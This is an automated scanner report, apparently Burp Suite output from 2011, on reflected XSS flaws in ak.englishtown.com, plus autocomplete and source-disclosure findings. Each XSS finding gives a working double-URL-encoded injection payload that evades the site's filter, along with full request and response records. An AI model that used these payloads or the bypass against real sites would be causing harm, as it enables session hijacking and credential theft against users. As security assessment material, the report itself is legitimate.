XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, REST URL Parameter Injection, ak.englishtown.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://ak.englishtown.com/_omniture/s_code.aspx [REST URL parameter 1] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ak.englishtown.com
Path:	/_omniture/s_code.aspx

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c6631%2522%253balert%25281%2529%252f%252f2b9f6af1cdc was submitted in the REST URL parameter 1. This input was echoed as c6631";alert(1)//2b9f6af1cdc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /_omniturec6631%2522%253balert%25281%2529%252f%252f2b9f6af1cdc/s_code.aspx?mkt=br HTTP/1.1
Host: ak.englishtown.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://englishtown.msn.com.br/online/home.aspx

Response (redirected)

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CONo CURi PSD OUR SAMo BUS ONL PHY FIN LOC"
X-Powered-By: ASP.NET
Pragma: no-cache
Content-Length: 1756
Content-Type: text/html; Charset=ISO-8859-1
Vary: Accept-Encoding
Cache-Control: private, max-age=37
Expires: Wed, 03 Aug 2011 15:59:11 GMT
Date: Wed, 03 Aug 2011 15:58:34 GMT
Connection: close

<html><head>
<title>Englishtown</title>
<style>

...[SNIP]...

1.2. http://ak.englishtown.com/online/ETFileMergeHandler.ashx [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ak.englishtown.com
Path:	/online/ETFileMergeHandler.ashx

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1f10d%2522%253balert%25281%2529%252f%252fb7916fceb5b was submitted in the REST URL parameter 1. This input was echoed as 1f10d";alert(1)//b7916fceb5b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /1f10d%2522%253balert%25281%2529%252f%252fb7916fceb5b/ETFileMergeHandler.ashx?f=AFMAdAB5AGwAZQBzAGgAZQBlAHQAfAA0ADMAMgAwADAAfAAvAG8AbgBsAGkAbgBlAC8AXwBzAHQAeQBsAGUAcwAvAGMAbwBtAG0AbwBuAC0AMwAuADAALgBjAHMAcwAsAC8AbwBuAGwAaQBuAGUALwBfAHMAdAB5AGwAZQBzAC8AcABhAGMAawBlAGQALgBjAHMAcwA&v=31-1 HTTP/1.1
Host: ak.englishtown.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://englishtown.msn.com.br/online/home.aspx

Response (redirected)

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CONo CURi PSD OUR SAMo BUS ONL PHY FIN LOC"
X-Powered-By: ASP.NET
Pragma: no-cache
Content-Length: 1759
Content-Type: text/html; Charset=ISO-8859-1
Vary: Accept-Encoding
Cache-Control: private, max-age=37
Expires: Wed, 03 Aug 2011 15:59:12 GMT
Date: Wed, 03 Aug 2011 15:58:35 GMT
Connection: close

<html><head>
<title>Englishtown</title>
<style>
<!--
   body        {font-family: "Verdana,Arial"; font-size: 12px}
   a:link        {color: #006699}
   a:visited    {color: #006699}
   a:hover        {color: #990033}
/
...[SNIP]...
<!--
/* You may give each page an identifying name, server, and channel on
the next lines. */
s.pageName="Error:500:" + "[/1f10d";alert(1)//b7916fceb5b/ETFileMergeHandler.ashx]";
s.prop11="None";
s.prop12="us_en";
s.prop15="en";
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_cod
...[SNIP]...

1.3. http://ak.englishtown.com/online/ETFileMergeHandler.ashx [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ak.englishtown.com
Path:	/online/ETFileMergeHandler.ashx

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cdd5f%2522%253balert%25281%2529%252f%252fe6455fe589e was submitted in the REST URL parameter 2. This input was echoed as cdd5f";alert(1)//e6455fe589e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /online/ETFileMergeHandler.ashxcdd5f%2522%253balert%25281%2529%252f%252fe6455fe589e?f=AFMAdAB5AGwAZQBzAGgAZQBlAHQAfAA0ADMAMgAwADAAfAAvAG8AbgBsAGkAbgBlAC8AXwBzAHQAeQBsAGUAcwAvAGMAbwBtAG0AbwBuAC0AMwAuADAALgBjAHMAcwAsAC8AbwBuAGwAaQBuAGUALwBfAHMAdAB5AGwAZQBzAC8AcABhAGMAawBlAGQALgBjAHMAcwA&v=31-1 HTTP/1.1
Host: ak.englishtown.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://englishtown.msn.com.br/online/home.aspx

Response (redirected)

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CONo CURi PSD OUR SAMo BUS ONL PHY FIN LOC"
X-Powered-By: ASP.NET
Pragma: no-cache
Content-Length: 1765
Content-Type: text/html; Charset=ISO-8859-1
Vary: Accept-Encoding
Cache-Control: private, max-age=36
Expires: Wed, 03 Aug 2011 15:59:16 GMT
Date: Wed, 03 Aug 2011 15:58:40 GMT
Connection: close

<html><head>
<title>Englishtown</title>
<style>

...[SNIP]...

1.4. http://ak.englishtown.com/online/ETValidation.axd [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ak.englishtown.com
Path:	/online/ETValidation.axd

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8081a%2522%253balert%25281%2529%252f%252fda4bf7f76ae was submitted in the REST URL parameter 2. This input was echoed as 8081a";alert(1)//da4bf7f76ae in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /online/8081a%2522%253balert%25281%2529%252f%252fda4bf7f76ae?v=ADIALgAwAC4ANAAyADEAMgAuADEAOQAyADUAMAA&mkt=us HTTP/1.1
Host: ak.englishtown.com
Proxy-Connection: keep-alive
Referer: http://ak.englishtown.com/online/home.aspx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response (redirected)

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CONo CURi PSD OUR SAMo BUS ONL PHY FIN LOC"
X-Powered-By: ASP.NET
Pragma: no-cache
Content-Length: 1738
Content-Type: text/html; Charset=BIG5
Vary: Accept-Encoding
Cache-Control: private, max-age=36
Expires: Thu, 04 Aug 2011 11:44:54 GMT
Date: Thu, 04 Aug 2011 11:44:18 GMT
Connection: close

<html><head>
<title>Englishtown</title>
<style>

...[SNIP]...

1.5. http://ak.englishtown.com/online/hk/_scripts/common.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ak.englishtown.com
Path:	/online/hk/_scripts/common.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 53f20%2522%253balert%25281%2529%252f%252f84f4aa38da7 was submitted in the REST URL parameter 2. This input was echoed as 53f20";alert(1)//84f4aa38da7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /online/53f20%2522%253balert%25281%2529%252f%252f84f4aa38da7/_scripts/common.js?v=31-1 HTTP/1.1
Host: ak.englishtown.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://ak.englishtown.com/online/hk/home.aspx

Response (redirected)

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CONo CURi PSD OUR SAMo BUS ONL PHY FIN LOC"
X-Powered-By: ASP.NET
Pragma: no-cache
Content-Length: 1760
Content-Type: text/html; Charset=BIG5
Vary: Accept-Encoding
Cache-Control: private, max-age=37
Expires: Wed, 03 Aug 2011 16:22:06 GMT
Date: Wed, 03 Aug 2011 16:21:29 GMT
Connection: close

<html><head>
<title>Englishtown</title>
<style>
<!--
   body        {font-family: "Verdana,Arial"; font-size: 12px}
   a:link        {color: #006699}
   a:visited    {color: #006699}
   a:hover        {color: #990033}
/
...[SNIP]...
<!--
/* You may give each page an identifying name, server, and channel on
the next lines. */
s.pageName="Error:500:" + "[/online/53f20";alert(1)//84f4aa38da7/_scripts/common.js]";
s.prop11="None";
s.prop12="us_en";
s.prop15="en";
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code)//-
...[SNIP]...

1.6. http://ak.englishtown.com/online/hk/_styles/common.aspx [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ak.englishtown.com
Path:	/online/hk/_styles/common.aspx

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 23009%2522%253balert%25281%2529%252f%252fb1cf35b0e6f was submitted in the REST URL parameter 1. This input was echoed as 23009";alert(1)//b1cf35b0e6f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /23009%2522%253balert%25281%2529%252f%252fb1cf35b0e6f/hk/_styles/common.aspx?ctr=hk&ptr=Cehk&lng=hk&agent=IE7&v=31-1 HTTP/1.1
Host: ak.englishtown.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://ak.englishtown.com/online/hk/home.aspx

Response (redirected)

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CONo CURi PSD OUR SAMo BUS ONL PHY FIN LOC"
X-Powered-By: ASP.NET
Pragma: no-cache
Content-Length: 1757
Content-Type: text/html; Charset=BIG5
Vary: Accept-Encoding
Cache-Control: private, max-age=36
Expires: Wed, 03 Aug 2011 16:22:01 GMT
Date: Wed, 03 Aug 2011 16:21:25 GMT
Connection: close

<html><head>
<title>Englishtown</title>
<style>
<!--
   body        {font-family: "Verdana,Arial"; font-size: 12px}
   a:link        {color: #006699}
   a:visited    {color: #006699}
   a:hover        {color: #990033}
/
...[SNIP]...
<!--
/* You may give each page an identifying name, server, and channel on
the next lines. */
s.pageName="Error:500:" + "[/23009";alert(1)//b1cf35b0e6f/hk/_styles/common.aspx]";
s.prop11="None";
s.prop12="us_en";
s.prop15="en";
/************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/
var s_code=s.t();if(s_code)document.write(s_code
...[SNIP]...

1.7. http://ak.englishtown.com/online/hk/home.aspx [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ak.englishtown.com
Path:	/online/hk/home.aspx

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ee55a%2522%253balert%25281%2529%252f%252fa0cf657512c was submitted in the REST URL parameter 1. This input was echoed as ee55a";alert(1)//a0cf657512c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /ee55a%2522%253balert%25281%2529%252f%252fa0cf657512c/hk/home.aspx HTTP/1.1
Host: ak.englishtown.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response (redirected)

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CONo CURi PSD OUR SAMo BUS ONL PHY FIN LOC"
X-Powered-By: ASP.NET
Pragma: no-cache
Content-Length: 1702
Content-Type: text/html; Charset=BIG5
Vary: Accept-Encoding
Cache-Control: private, max-age=37
Expires: Wed, 03 Aug 2011 16:22:02 GMT
Date: Wed, 03 Aug 2011 16:21:25 GMT
Connection: close

<html><head>
<title>Englishtown</title>
<style>

...[SNIP]...

1.8. http://ak.englishtown.com/online/hk/home.aspx [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ak.englishtown.com
Path:	/online/hk/home.aspx

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 90e18%2522%253balert%25281%2529%252f%252fcf16cf4b934 was submitted in the REST URL parameter 2. This input was echoed as 90e18";alert(1)//cf16cf4b934 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /online/90e18%2522%253balert%25281%2529%252f%252fcf16cf4b934/home.aspx HTTP/1.1
Host: ak.englishtown.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response (redirected)

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CONo CURi PSD OUR SAMo BUS ONL PHY FIN LOC"
X-Powered-By: ASP.NET
Pragma: no-cache
Content-Length: 1707
Content-Type: text/html; Charset=BIG5
Vary: Accept-Encoding
Cache-Control: private, max-age=36
Expires: Wed, 03 Aug 2011 16:22:06 GMT
Date: Wed, 03 Aug 2011 16:21:30 GMT
Connection: close

<html><head>
<title>Englishtown</title>
<style>

...[SNIP]...

1.9. http://ak.englishtown.com/online/home.aspx [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ak.englishtown.com
Path:	/online/home.aspx

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cb358%2522%253balert%25281%2529%252f%252faaf7e85fcbc was submitted in the REST URL parameter 1. This input was echoed as cb358";alert(1)//aaf7e85fcbc in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /cb358%2522%253balert%25281%2529%252f%252faaf7e85fcbc/home.aspx HTTP/1.1
Host: ak.englishtown.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response (redirected)

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CONo CURi PSD OUR SAMo BUS ONL PHY FIN LOC"
X-Powered-By: ASP.NET
Pragma: no-cache
Content-Length: 1699
Content-Type: text/html; Charset=BIG5
Vary: Accept-Encoding
Cache-Control: private, max-age=36
Expires: Thu, 04 Aug 2011 11:44:51 GMT
Date: Thu, 04 Aug 2011 11:44:15 GMT
Connection: close

<html><head>
<title>Englishtown</title>
<style>

...[SNIP]...

1.10. http://ak.englishtown.com/online/home.aspx [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ak.englishtown.com
Path:	/online/home.aspx

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e9ace%2522%253balert%25281%2529%252f%252fd628b733e07 was submitted in the REST URL parameter 2. This input was echoed as e9ace";alert(1)//d628b733e07 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /online/e9ace%2522%253balert%25281%2529%252f%252fd628b733e07 HTTP/1.1
Host: ak.englishtown.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response (redirected)

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CONo CURi PSD OUR SAMo BUS ONL PHY FIN LOC"
X-Powered-By: ASP.NET
Pragma: no-cache
Content-Length: 1696
Content-Type: text/html; Charset=BIG5
Vary: Accept-Encoding
Cache-Control: private, max-age=37
Expires: Thu, 04 Aug 2011 11:44:56 GMT
Date: Thu, 04 Aug 2011 11:44:19 GMT
Connection: close

<html><head>
<title>Englishtown</title>
<style>

...[SNIP]...

2. Password field with autocomplete enabled previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://ak.englishtown.com
Path:	/online/home.aspx

Issue detail

The page contains a form with the following action URL:

https://secure.englishtown.com/login/handler.ashx

The form contains the following password field with autocomplete enabled:

Password

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

GET /online/home.aspx HTTP/1.1
Host: ak.englishtown.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNetMvc-Version: 2.0
X-AspNet-Version: 4.0.30319
P3P: policyref="/w3c/p3p.xml", CP="IDC DSP COR CONo CURi PSD OUR SAMo BUS ONL PHY FIN LOC"
Content-Length: 83391
Vary: Accept-Encoding
Cache-Control: no-cache
Expires: Thu, 04 Aug 2011 11:44:10 GMT
Date: Thu, 04 Aug 2011 11:44:10 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><!-- USB-ETOWNSP1 : /
...[SNIP]...
<div class="et_form et_form_toplogin">
<form action="https://secure.englishtown.com/login/handler.ashx" id="loginForm2" method="post">
<div class="et_fieldset">
...[SNIP]...
<input class="et_textfield et_textfield_short" id="UserName" name="UserName" title="Email or Username" type="text" value="" /><input class="et_textfield et_textfield_short" id="Password" name="Password" title="Password" type="password" />

<div class="et_errormsg field-validation-valid" id="username_error">
...[SNIP]...

3. Source code disclosure previous next
There are 2 instances of this issue:

/online/ETFileMergeHandler.ashx
/online/hk/_scripts/common.js

Issue background

Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.

Issue remediation

Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.

3.1. http://ak.englishtown.com/online/ETFileMergeHandler.ashx previous next

Summary

Severity:	Low
Confidence:	Tentative
Host:	http://ak.englishtown.com
Path:	/online/ETFileMergeHandler.ashx

Issue detail

The application appears to disclose some server-side source code written in ASP.

Request

GET /online/ETFileMergeHandler.ashx?fc=7L0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ%2fff%2fz9cZmQBbPbOStrJniGAqsgfP358Hz8ijp99cfz7XD25Pv787fH0%2bMnO8bevjl8cH%2f%2fg%2bOnZ8RfHx1f4%2b%2fnVk8vjz%2fePJ8dPVvj5Uz9xfHn87OB4evXkp4%2b%2ffXac%2fcQTavcT9Dd9%2fvlXx7Nj%2bvzzi%2bPnF09%2b0fG3vzh%2bfozPD44nF08a9EM%2fy%2bOTg%2bPf%2b%2brJD44%2f%2f%2bJ4ekFwv32M936Az38f7m%2fnePIT0u%2fXhfNTP0Hj%2bfwK%2bBXHJ%2fvH2QU%2b%2f1rj2UV%2fXxcP%2bnmJv4m%2bc%2b1vffx5BfgNvp9cPVkrnmv0R%2fido59wXr7A5z%2fN%2ff7Ek1b6P26Pn9LnFzRPHza%2b9vjbvw%2f6o%2fGdHs9%2bgsZD7fKfeLJ3%2fPmpwvmJ49%2bH6flW8DX9%2fT8BAAD%2f%2fw%3d%3d&v=31-1 HTTP/1.1
Host: ak.englishtown.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
